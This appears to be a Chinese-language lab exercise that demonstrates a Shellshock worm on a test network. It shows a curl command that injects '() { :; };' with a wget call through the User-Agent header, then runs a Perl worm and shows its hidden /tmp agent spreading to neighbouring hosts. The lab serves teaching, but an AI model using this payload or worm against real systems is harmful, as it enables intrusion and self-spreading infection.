基於破殼漏洞的蠕蟲實踐

1.使用ssh登入蠕蟲發起者主機（10.1.1.231），執行下面三條命令。命令執行結果如下圖所示。

[root@worm-master ~]# tail /var/log/httpd/access_log

[root@worm-master ~]# curl -A “() { :; }; /usr/bin/wget http://10.1.1.231/shock” http://10.1.1.12/test.cgi

[root@worm-master ~]# tail /var/log/httpd/access_log

2.根據最後一條命令的結果，蠕蟲發起者主機（10.1.1.231）的web日誌中出現了worm1的訪問記錄，說明worm1主機（10.1.1.12）存在破殼漏洞。

任務描述：蠕蟲發起者執行蠕蟲程式，感染1號主機Worm1。

1.為了避免自身被感染，向蠕蟲表明自己是發起者的身份，我們需要登入10.1.1.231主機，通過下面的命令建立一個檔案。

[root@worm-master ~]# touch /tmp/key.txt

2.繼續在10.1.1.231上執行下面的命令，可以找到蠕蟲程式。

[root@worm-master shockworm]# cd /root/shockworm/

[root@worm-master shockworm]# ls

Shellshock.pl

3.登入worm1，檢視/tmp目錄。

[root@worm-test1 tmp]# ls -al

total 12

drwxrwxrwt. 3 root root 4096 Jun 25 03:25 .

dr-xr-xr-x. 22 root root 4096 Jun 24 11:35 ..

drwxrwxrwt. 2 root root 4096 Jun 24 11:35 .ICE-unix

-rw-------. 1 root root 0 Jan 9 2014 yum.log

4.繼續返回10.1.1.231主機，執行下面的命令，來執行蠕蟲程式。

[root@worm-master shockworm]# perl shellshock.pl

local ip is 10.1.1.231

targetIP is 10.1.1.12...

Done!

[root@worm-master shockworm]#

5.登入Worm1，執行下面的命令，觀察被感染的特徵。

[root@worm-test1 tmp]# ls -al

total 16

drwxrwxrwt. 4 root root 4096 Jun 25 13:52 .

dr-xr-xr-x. 22 root root 4096 Jun 24 11:35 ..

drwxrwxrwt. 2 root root 4096 Jun 24 11:35 .ICE-unix

drwxr-xrwx. 2 apache apache 4096 Jun 25 13:52 .ssh-mOTc45gfXwPj

-rw-------. 1 root root 0 Jan 9 2014 yum.log

[root@worm-test1 tmp]# ls .ssh-mOTc45gfXwPj/

agent.1336 agent.1337

[root@worm-test1 tmp]# ps aux | grep agent.1337

apache 1827 0.0 0.8 33884 4420 ? S Jun24 0:00 /usr/bin/perl /tmp/.ssh-mOTc45gfXwPj/agent.1337

root 3512 0.0 0.1 103244 864 pts/1 S+ 13:56 0:00 grep agent.1337

通過對比/tmp目錄可以發現，Worm1已經被感染了shockworm蠕蟲程式，如下圖。

1.登入Worm1（10.1.1.12），不斷的執行命令:“ps aux |grep curl”可以看到蠕蟲的傳播過程，被感染的Worm1通過agent.1337程序，不斷的向同網段的其他主機發起攻擊與感染。如下所示：

[root@worm-test1 tmp]# ps aux | grep curl

apache 3741 0.0 0.2 11300 1280 ? S 14:03 0:00 sh -c curl http://10.1.1.16/test.cgi 2>/dev/null | grep Hi | wc -l

apache 3742 0.0 0.6 73992 3072 ? S 14:03 0:00 curl http://10.1.1.16/test.cgi

root 3752 0.0 0.1 103244 852 pts/1 S+ 14:03 0:00 grep curl

[root@worm-test1 tmp]# ps aux | grep curl

apache 3753 0.0 0.2 11300 1276 ? S 14:03 0:00 sh -c curl http://10.1.1.17/test.cgi 2>/dev/null | grep Hi | wc -l

apache 3754 0.0 0.6 73992 3076 ? S 14:03 0:00 curl http://10.1.1.17/test.cgi

root 3758 0.0 0.1 103244 856 pts/1 S+ 14:03 0:00 grep curl

從上面命令的執行結果，可以看出，蠕蟲正在攻擊10.1.1.16和10.1.1.17。

2.經過一段時間之後（大約10分鐘），登入Worm2。同樣使用命令:”ls -al /tmp”檢視，可以發現主機也被此蠕蟲感染。對比效果如下圖：

答題